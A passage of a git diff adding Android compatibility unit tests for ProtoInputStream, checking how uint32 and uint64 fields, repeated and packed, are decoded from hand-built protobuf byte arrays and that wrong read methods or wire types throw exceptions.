+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+        final long FIELD_ID = fieldFlags | ((long) 51 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint32FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint32FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.uint32FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_UINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x32,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 4 -> MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 5 -> MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[0]);
+        testPackedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT32;
+        final long FIELD_ID = fieldFlags | ((long) 52 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint32FieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint32FieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.uint32FieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed uint32)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java
new file mode 100644
index 0000000..f8766b5
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java
@@ -0,0 +1,640 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamUInt64Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[] results = new long[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+        assertEquals(Long.MIN_VALUE, results[5]);
+        assertEquals(Long.MAX_VALUE, results[6]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+        testReadCompat(Long.MIN_VALUE);
+        testReadCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(long val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+        final long FIELD_ID = fieldFlags | ((long) 60 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint64Field = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint64Field, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x40,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x30,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x38,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
+        assertEquals(Long.MAX_VALUE, results[6][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(long[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+        final long FIELD_ID = fieldFlags | ((long) 61 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.uint64FieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        long[] result = new long[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readLong(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.uint64FieldRepeated.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.uint64FieldRepeated[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_UINT64;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+        final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+        final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+
+                // 8 -> Integer.MAX_VALUE
+                (byte) 0x42,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 6 -> Long.MIN_VALUE
+                (byte) 0x32,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+                // 7 -> Long.MAX_VALUE
+                (byte) 0x3a,
+                (byte) 0x12,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        long[][] results = new long[7][2];
+        int[] indices = new int[7];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+                    break;
+                case (int) FIELD_ID_7:
+                    results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+                    break;
+                case (int) FIELD_ID_8:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+        assertEquals(Long.MIN_VALUE, results[5][0]);
+        assertEquals(Long.MIN_VALUE, results[5][1]);
+        assertEquals(Long.MAX_VALUE, results[6][0]);
